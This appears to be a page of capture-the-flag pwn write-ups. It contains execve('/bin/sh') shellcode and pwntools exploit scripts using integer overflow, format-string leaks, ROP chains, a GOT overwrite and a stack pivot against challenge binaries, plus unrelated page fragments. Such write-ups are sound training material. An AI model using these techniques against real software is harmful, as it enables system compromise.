#!/usr/local/bin/python
import ctypes
import mmap
import sys
import os
print("This process has the PID", os.getpid())
flag = "redacted"
print("White House declared Python to be memory safe :tm:")
buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
ftype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fpointer = ctypes.c_void_p.from_buffer(buf)
f = ftype(ctypes.addressof(fpointer))
u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): "))
buf.write(u_can_do_it)
f()
del fpointer
buf.close()
print("byebye")
lea rdi, [rip + binsh]
xor rax, rax
mov al, 0x3b
xor rsi, rsi
xor rdx, rdx
syscall
binsh:
.asciz "/bin/sh"
488d3d0d0000004831c0b03b4831f64831d20f052f62696e2f736800
It is the problem about number of integer.
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+8h] [rbp-E8h]
char v5[64]; // [rsp+10h] [rbp-E0h] BYREF
char s[152]; // [rsp+50h] [rbp-A0h] BYREF
unsigned __int64 v7; // [rsp+E8h] [rbp-8h]
v7 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
printf("How much should I not trust you? >:)\n: ");
__isoc99_scanf("%d", &detrust);
fgets(s, 150, stdin);
if ( detrust >= 0 )
{
trust_level -= detrust;
if ( trust_level == threshold )
{
puts("What kind of cheating are you doing?");
puts("You haven't even signed your statement yet!");
puts("You are BANNED from all future AP exams!!!");
}
else
{
while ( trust_level < threshold )
{
puts("\nI don't trust you enough >:)");
printf("Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)\n: ");
fgets(s, 150, stdin);
if ( !strcmp(
s,
"I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any "
"information about any section of this exam.\n") )
--trust_level;
}
stream = fopen("flag.txt", "r");
fgets(v5, 64, stream);
puts("\nYou will now take the multiple-choice portion of the exam.");
puts("You should have in front of you the multiple-choice booklet and your answer sheet. ");
printf("You will have %s minutes for this section. Open your Section I booklet and begin.\n", v5);
}
}
else
{
puts("Don't try to trick me into trusting you >:(");
}
return 0;
}
The flow of the program
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('./exam', checksec=False)
if len(sys.argv) == 2:
r = process(exe.path)
gdb.attach(r, gdbscript="""
b *main
b *main+113
b *main+157
b *main+301
b *main+337
b *main+339
""")
elif len(sys.argv) == 3:
r = remote('challs.actf.co', 31322)
else:
r = process(exe.path)
r.sendafter(b': ', b'2147483647')
r.sendline(b'Hello')
try:
while True:
r.recvuntil(b'Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)\n:')
r.sendline(b'I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.')
except Exception as e:
pass
r.interactive()
Basic format string + ROP
Leak libc -> ovewrite return address to call main again -> ROP
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('./bap', checksec=False)
#libc = ELF('./libc.so.6', checksec=False)
libc = exe.libc
if len(sys.argv) == 2:
r = process(exe.path)
gdb.attach(r, gdbscript="""
b *main
b *main+47
b *main+64
b *main+86
""")
elif len(sys.argv) == 3:
r = remote('challs.actf.co', 31323)
else:
r = process(exe.path)
payload = b'|%29$p'
payload += b'a'*18
payload += p64(0x000000000040101a) #ret
payload += p64(exe.sym['main'])
r.sendlineafter(b': ', payload)
r.recvuntil(b'|')
__libc_start_call_main_128 = int(r.recvn(14), 16)
log.info("The address of __libc_start_call_main_128: " + hex(__libc_start_call_main_128))
libc.address = __libc_start_call_main_128 - 128 - 0x1dc0 - 0x28000
log.info("libc base: " + hex(libc.address))
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh\x00'))
log.info("The address of libc: " + hex(libc.address))
poprdi_ret = libc.address + 0x000000000002a3e5
win = b'a'*24
win += p64(0x000000000040101a) #ret
win += p64(poprdi_ret)
win += p64(binsh)
win += p64(system)
r.sendlineafter(b': ', win)
r.interactive()
The program allow me input one time. Then exit
unsigned __int64 go()
{
char s[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
printf("kill $PPID; Enter your name: ");
fgets(s, 66, stdin);
printf("Gotta go. See you around, ");
printf(s);
return v2 - __readfsqword(0x28u);
}
fmtstr + bof
Because I only have one time to input, I must find the way to rewind the go function again. The approach is that I will overwrite the __stack_chk_fail@got.plt
Although I can use bof, the program limits max one gadget.
Therefore, I need to use technique stack pivot(leave ; ret) to pop the shell.
fmtstr: leak the canary, the libc and the stack.
bof: get the gadget.
from pwn import *
import sys
context.log_level = 'debug'
context.binary = exe = ELF('./og', checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
if len(sys.argv) == 2:
r = process(exe.path)
gdb.attach(r, gdbscript="""
b *main
b *go+126
b *go+146
b *go+163
b *go+190
""")
elif len(sys.argv) == 3:
r = remote('challs.actf.co', 31312)
else:
r = process(exe.path)
def info(s):
return log.info(s)
#leak canary, leak libc, call main again
#offset_canary = 40
#%27$p|%13$p
#canary + ret
#input from %6$p
"""
pwndbg> disass 0x401070
Dump of assembler code for function __stack_chk_fail@plt:
0x0000000000401070 <+0>: endbr64
0x0000000000401074 <+4>: bnd jmp QWORD PTR [rip+0x2f9d] # 0x404018 <__stack_chk_fail@got.plt>
0x000000000040107b <+11>: nop DWORD PTR [rax+rax*1+0x0]
pwndbg> x/gx 0x404018
0x404018 <__stack_chk_fail@got.plt>: 0x0000000000401030
"""
payload_leak = b'|%33$p|%15$p||%46$p|%4451c'
payload_leak += b'%10$hn'
payload_leak += p64(0x404018) #overwritestackcheckfail.got
payload_leak += b'a'*16
r.sendlineafter(b'kill $PPID; Enter your name: ', payload_leak)
r.recvuntil(b'|')
canary_leak = int(r.recvn(18), 16)
r.recvuntil(b'|')
__libc_start_call_main_128 = int(r.recvn(14), 16)
r.recvuntil(b'||')
buf_stack_leak = int(r.recvn(14), 16) - 328
libc.address = __libc_start_call_main_128 - 0x1d90 - 0x28000
pop_rdi_ret = libc.address + 0x000000000002a3e5
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']
info("The address of buf leak: " + hex(buf_stack_leak))
info("Canary leak: " + hex(canary_leak))
info("The address of __libc_start_call_main_128: " + hex(__libc_start_call_main_128))
info("The address of libc: " + hex(libc.address))
info("pop_rdi_ret: " + hex(pop_rdi_ret))
info("binsh: " + hex(binsh))
info("system: " + hex(system))
payload = p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
payload += b'b'*16
payload += p64(canary_leak)
payload += p64(buf_stack_leak - 0x40 - 0x8)
payload += p64(0x0000000000401253) #leave ; ret
r.sendlineafter(b'kill $PPID; Enter your name: ', payload)
r.interactive()
A hypervisor is a software that you can use to run multiple virtual machines on a single physical machine. Every virtual machine has its own operating system and applications. The hypervisor allocates the underlying physical computing resources such as CPU and memory to individual virtual machines as required.
Aug 2, 2024-You only use strings command and check correct input.
Aug 1, 2024:::
Jul 11, 2024:::
Jul 4, 2024or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up